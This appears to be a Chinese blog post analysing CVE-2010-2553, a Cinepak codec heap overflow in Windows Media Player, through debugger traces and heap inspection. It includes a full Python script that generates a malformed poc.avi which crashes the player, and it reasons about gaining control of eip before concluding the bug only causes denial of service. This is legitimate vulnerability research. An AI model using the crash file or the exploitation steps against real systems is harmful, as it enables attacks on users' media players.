            00147000 0c01 0000  [01]   00147008    06000 - (busy)
              ? wmploc+20093
    说明esi属于a0000堆的147000堆块,这个堆块是占用态,而且正好esi(147008)是这个堆块的索引,说明73b722cc处的rep
    movs指令是要将147000堆块中的数据往这个堆块自己的数据区开始偏移149008-147008=2000处开始复制,可通过ecx查看要
    复制多少字节数据

?ecx
    0:010> ?ecx
    Evaluate expression: 2048 = 00000800
    800<6000-2000,应该不会覆盖堆块,但是+hpa时的确说是这个rep movs指令导致的异常,先继续运行下去

t
    0:010> t
    Breakpoint 1 hit
    eax=00002000 ebx=0a93d330 ecx=000007ff edx=0aa5fd38 esi=0014700c edi=0014900c
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014900c=00000000 
    ds:0023:0014700c=00820082
    发现再次中断,也即rep movs不是一次就结束复制了,此时edi=14900c,esi=14700c,前面的edi=149008,esi=147008,说明刚
    复制完4字节数据,但是此时ecx=7ff,上面ecx=800,说明一共要复制4*800=2000<6000-2000,这样算,这个复制结束后是不会
    覆盖当前堆块的下一堆块的,应该不会导致异常,暂时不可理解,继续往下走

t 
    0:010> t
    Breakpoint 1 hit
    eax=00002000 ebx=0a93d330 ecx=000007fe edx=0aa5fd38 esi=00147010 edi=00149010
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:00149010=00000000 
    ds:0023:00147010=00820082
    情况和上面一样,照这样下去,直到rep movs完成应该都不会异常,但是windbg在设置页堆时的确说是这一条指令的问题,尝
    试取消73b722cc处对应的rep movs指令,在这一句上面下断点,猜测有可能是一轮rep movs完成后还有其他机会再执行到这
    里,然后才发生覆盖导致异常

bc *
ub eip
    0:010> ub eip
    iccvid!CVDecompress+0x102:
    73b722b0 807d1300        cmp     byte ptr [ebp+13h],0
    73b722b4 751b            jne     iccvid!CVDecompress+0x123 (73b722d1)
    73b722b6 803e11          cmp     byte ptr [esi],11h
    73b722b9 7516            jne     iccvid!CVDecompress+0x123 (73b722d1)
    73b722bb 8b4b1c          mov     ecx,dword ptr [ebx+1Ch]
    73b722be 8d3c01          lea     edi,[ecx+eax]
    73b722c1 b900080000      mov     ecx,800h
    73b722c6 8db700e0ffff    lea     esi,[edi-2000h]
    说明上一句汇编指令对应的地址是73b722c6

bp 73b722c6
g
    0:010> g
    Breakpoint 0 hit
    eax=00004000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=01c1eb22 edi=0014b008
    eip=73b722c6 esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!CVDecompress+0x118:
    73b722c6 8db700e0ffff    lea     esi,[edi-2000h]   
    果然中断到rep movs的上一句
p
    0:010> p
    eax=00004000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=00149008 edi=0014b008
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014b008=00000000 
    ds:0023:00149008=00930093
    此时ecx=800,edi=14b008,esi=149008,再看下此时的复制数据与堆块的关系

!heap -p -a 14b008
    0:010> !heap -p -a 14b008
        address 0014b008 found in
        _HEAP @ a0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            00147000 0c01 0000  [01]   00147008    06000 - (busy)
              ? wmploc+20093
    edi与前面所在的堆块一样,仍然是在a0000堆的147008堆块中,edi+800*4=14d008=147008+6000=14d008,说明这一次的rep
    movs指令会刚好把当前堆块的数据区填充到最后,这样应该也不会由于覆盖下一个堆块导致异常,再次推测,可能还有下一次
    机会会再执行到73b722cc处的rep movs指令

g
    0:010> g
    Breakpoint 0 hit
    eax=00006000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=01c1eb32 edi=0014d008
    eip=73b722c6 esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!CVDecompress+0x118:
    73b722c6 8db700e0ffff    lea     esi,[edi-2000h]
    果然再次中断了,说明猜测是对的

p
    0:010> p
    eax=00006000 ebx=0a93d330 ecx=00000800 edx=0aa5fd38 esi=0014b008 edi=0014d008
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014d008=0c01008e 
    ds:0023:0014b008=00930093
    此时edi=14d008,esi=14b008,ecx=800

!heap -p -a 14d008
    0:010> !heap -p -a 14d008
        address 0014d008 found in
        _HEAP @ a0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            0014d008 008e 0000  [01]   0014d010    00468 - (busy)
    这里也可看出,14d008是上面147000堆块的下一个新的堆块的入口地址,这个新堆块的地址是从14d008开始到
    14d010+468=14d478,而这次要复制的地址范围是从edi=14d008到edi+800*4=14f008>14d478,而从14d478开始的地址空间已
    经属于下一个堆块,如下

!heap -p -a 14d478
    0:010> !heap -p -a 14d478
        address 0014d478 found in
        _HEAP @ a0000
          HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
            0014d478 008e 0000  [01]   0014d480    00468 - (busy)       
    说明14d478这个堆块会被覆盖,且14d480+468=14d8e8<14f008,也即覆盖完这个堆块还要继续覆盖后面的堆块,这样极有可能会导
    致异常的发生,可以预测,再次执行g将会发生异常
g
    0:010> g
    (1ac.1bc): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00006000 ebx=0a93d330 ecx=00000402 edx=0aa5fd38 esi=0014c000 edi=0014e000
    eip=73b722cc esp=0aa5fd04 ebp=0aa5fd30 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
    iccvid!CVDecompress+0x11e:
    73b722cc f3a5            rep movs dword ptr es:[edi],dword ptr [esi] es:0023:0014e000=???????? 
    ds:0023:0014c000=00000000
    预测正确,此时ecx=402,说明是复制了(800-402)*4=3fe*4=ff8(10进制的4088个)字节后程序异常,并再不可控,单独运行
    wmplayer.exe并打开poc.avi时会弹出如下报错对话框

说明是复制了4008个字节后,下面的内存不可写了,引发异常,现在要想办法控制eip,执行我的shellcode,要想控制eip,现在考虑
从以下几个角度上入手:
    1>超长数据覆盖栈中的retn
    2>超长数据覆盖栈中的seh
    3>找到DWORD SHOOT机会

1>超长数据覆盖栈中的retn
    这种可能性几乎可以忽略,一般堆溢出漏洞的利用采用DWORD SHOOT的"精确打击",超长数据覆盖作为"地毯式轰炸"这种手段
    一般用于栈溢出,因为retn在栈中,而要想把数据从堆区覆盖到栈区,要复制超长超长的数据,此例中,当eip=73B721ED时,对
    应如下指令,该eip到达方式为在od中单独打开iccvid.dll,在73b7cbee处下断点,该处对应上面的windbg的关键call下断点
    处,然后od附加重新打开的wmplayer.exe,并用wmplayer.exe打开poc.avi,触发73b7cbee处的断点,f7跟进关键call,单步到
    73b721ed处
        73B721ED  |.  8B75 0C       mov esi,[arg.2]
    此时od中的提示处显示如下信息:
        堆栈 ss:[0A80FD3C]=01C2CAF8
        esi=00000000
    在od提示窗口中的01c2caf8上右键在数据窗口中跟随数值,结果如下:
        01C2CAF8  00 00 00 68 01 60 01 20 00 10 10 00 00 10 00 00  ...h` .....
        01C2CB08  00 00 00 60 01 60 20 00 00 00 11 00 00 10 41 41  ...`` .....AA
        01C2CB18  41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41  AAAAAAAAAA..AA
        01C2CB28  41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 41  AAAAAAAAAA..AA
        01C2CB38  41 41 41 41 41 41 41 41 41 41 11 00 00 10 41 00  AAAAAAAAAA..A.
        01C2CB48  69 64 78 31 10 00 00 00 30 30 64 63 10 00 00 00  idx1...00dc...
    也即此时对应的数据为poc.avi中的cinepak_codec_data1字段的数据,如下图,对应exploit-db链接为:
        https://www.exploit-db.com/exploits/15112/

    此时esp=0A80FD04,而可控输入的数据所在的内存地址为01c2caf8,0a80fd04-01c2caf8=8BE320C=146682380个字节
    =139.887218475341796875 M大小,可见数据量不小,这样肯定会覆盖很多数据,在执行到retn前必然会引发异常,所以想通过
    覆盖retn达到控制eip是不可取的

2>超长数据覆盖栈中的seh
    对应1中可观察到内存中的数据为cinepak_codec_data1字段时,eip=73b721ed,alt+v,查看seh,结果如下:
        SEH 链用于  线程  000006D4
        地址       SE处理程序
        0A80FFDC   kernel32.7C839AC0
    要想覆盖到0a80ffdc处,需要覆盖0a80ffdc+4-01c2caf8=146683112个字节=139.88791656494140625 M大小,重新修改生成
    poc.avi的python代码,尝试覆盖到seh处理程序的地址,从1c2caf8到poc.avi的最后一个构造的数据所在的字符共有105个字
    节,需要在后面加多146683112-105=146683007个字节,再加4个字节可以覆盖seh的异常处理程序指针,也即146683011个字节
    ,构造代码如下,在原来的代码中加入
        my_data='B'*146683011
        avifile.write(my_data)

import sys
 
def main():
 
    aviHeaders = '\x52\x49\x46\x46\x58\x01\x00\x00\x41\x56\x49\x20\x4C\x49\x53\x54\xC8\x00\x00\x00\x68\x64\x72\x6C\x61\x76\x69\x68\x38\x00\x00\x00\xA0\x86\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x01\x00\x00\x4E\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x60\x01\x00\x00\x20\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x4C\x49\x53\x54\x7C\x00\x00\x00\x73\x74\x72\x6C\x73\x74\x72\x68\x38\x00\x00\x00\x76\x69\x64\x73\x63\x76\x69\x64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xE8\x03\x00\x00\x10\x27\x00\x00\x00\x00\x00\x00\x4E\x00\x00\x00\x20\x74\x00\x00\xFF\xFF\xFF\xFF\x00\x00\x00\x00\x00\x00\x00\x00\x60\x01\x20\x01\x73\x74\x72\x66\x28\x00\x00\x00\x28\x00\x00\x00\x50\x01\x00\x00\x20\x01\x00\x00\x01\x00\x18\x00\x63\x76\x69\x64\x84\x8D\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    padding = '\x4A\x55\x4E\x4B\x00\x00\x00\x00\x4A\x55\x4E\x4B\x00\x00\x00\x00'
    movi_tag = '\x4C\x49\x53\x54\x5C\x00\x00\x00\x6D\x6F\x76\x69\x30\x30\x64\x63\x10\x00\x00\x00'
    cinepak_codec_data1 = '\x00\x00\x00\x68\x01\x60\x01\x20'
    number_of_coded_strips = '\x00\x10'
    cinepak_codec_data2 = '\x10\x00\x00\x10\x00\x00\x00\x00\x00\x60\x01\x60\x20\x00\x00\x00\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x11\x00\x00\x10\x41\x00'
    idx_tag = '\x69\x64\x78\x31\x10\x00\x00\x00\x30\x30\x64\x63\x10\x00\x00\x00\x04\x00\x00\x00\x68\x00\x00\x00'

    my_data='B'*146683011
     
    avifile = open('poc.avi', 'wb+')
    avifile.write(aviHeaders)
    avifile.write(padding)
    avifile.write(movi_tag)
    avifile.write(cinepak_codec_data1)
    avifile.write(number_of_coded_strips)
    avifile.write(cinepak_codec_data2)
    avifile.write(idx_tag)

    avifile.write(my_data)
     
    avifile.close()
    print '[-] AVI file generated'
     
if __name__ == '__main__':
    main()
    ubuntu下新生成的pov.avi文件146.7M,拷贝到winxp中,用wmplayer.exe在od附加下打开,同样单步到73b721ed处,在提示窗
    口中右键在数据窗口中跟随数值,如下图

    从上面图中看出,数据窗口中字符"B"并没有复制146683011个到内存就被截断了,说明想利用超长数据从堆区覆盖到栈区中
    的seh的想法也不能实现

3>找到一次DWORD SHOOST机会
    如果能找到一次DWORD SHOOT机会,那就有较多选择可以控制eip了,但是上面提到DWORD SHOOT的机会在笔者看来只有空闲堆
    块的卸下,也即对应新堆块的分配会有DWORD SHOOT机会,现在要想办法找到这样的机会,上面调试过程中发现当执行到关键
    的rep movs指令第三次时会发生异常,必须要在rep movs指令发生异常前找到一次HeapAlloc的调用才有可能可以DWORD
    SHOOT,而且HeapAlloc要出现在poc.avi中的数据复制到内存中之后

    也即要在wmplayer.exe打开poc.avi之后到rep movs第三次复制异常发生之前这期间找到HeapAlloc的调用
    
    重新od附加wmplayer.exe,在1c2caf8上下内存写入断点(1c2caf8对应原来的poc.avi中的生成数据中的
    cinepak_codec_data1字段),并用wmplayer.exe打开原来的poc.avi
        这种想法没能实现,因为od附加wmplayer.exe后,1c2caf8内存地址还没出现,无法下内存写入断点,尝试等1c2caf8出现
        后再下内存断点并重新od加载,但是这样无法在1c2caf8被写入之前断下

    上面的方法失败,于是采用下面的方法:
        运行wmplayer.exe
        od附加wmplayer.exe
        wmplayer.exe打开原来的poc.avi
        中断到关键call处右键查找所有模块间的调用
        在每个kernel32.LocalAlloc上设置断点(这里没有HeapAlloc,只有LocalAlloc),一共有10个LocalAlloc调用
            LocalAlloc和HeapAlloc的区别:
            http://bbs.csdn.net/topics/350074008
            由上面链接可知,LocalAlloc是在进程默认堆上分配空间,而HeapAlloc一般是由HeapCreate新生成的堆中分配空间
            ,当HeapAlloc的第一个参数是GetProcessHeap()的值除外
        重新运行wmplayer.exe并用od附加,并用wmplayer.exe打开原来的poc.avi

    od中断到下面的73b7b4a9处的LocalAlloc
        73B7B4A2  |> \68 A0000000   push 0xA0                                             ; /Size = A0 (160.)
        73B7B4A7  |.  6A 40         push 0x40                                             ; |Flags = LPTR
        73B7B4A9  |.  FF15 4C10B773 call dword ptr ds:[<&KERNEL32.LocalAlloc>]            ; \LocalAlloc

    此时在数据窗口中ctrl+g:1c2caf8,发现1c2caf8处尚且没有写入poc.avi中构造的数据,说明这个LocalAlloc不是满足
    "poc.avi中构造的数据写入内存后的堆分配"的调用,f8单步后eax=001135C8,上面的rep movs指令处的堆块在a0000堆的
    147000堆块附近

    f9
        中断到73b72432处的call kernel32.localalloc,此时数据窗口中1c2caf8处依然没有写入原来poc.avi中构造的数据

    f9
        依然没有写入...
    f9
        这个f9要按快一点,要不然od中不会在1c2caf8处写入数据,这个f9之后中断下来到关键call调用处,此时数据窗口中的
        1c2caf8处已经写入了原来poc.avi中的构造的数据

    f9
        此时弹出上面一样的内存不可写的出错框(由于rep movs写入到不可写的地址造成)

    上面两次f9之后1c2caf8中没有写入数据,第三次f9之后1c2caf8中写入数据,第四次f9异常出现完,要求找到的LocalAlloc符
    合这个条件:
        "poc.avi中构造的数据写入内存后的堆分配"
    但是从上面第2个f9到第四个f9之间没有中断到任何LocalAlloc的调用,说明找不到符合条件的堆块分配,也即没有DWORD
    SHOOT的机会,也即没有办法控制eip,说明这个cve-2010-2553只是个dos(denial of Service)类漏洞

漏洞战争, 漏洞分析, 堆溢出
home
github
archive
category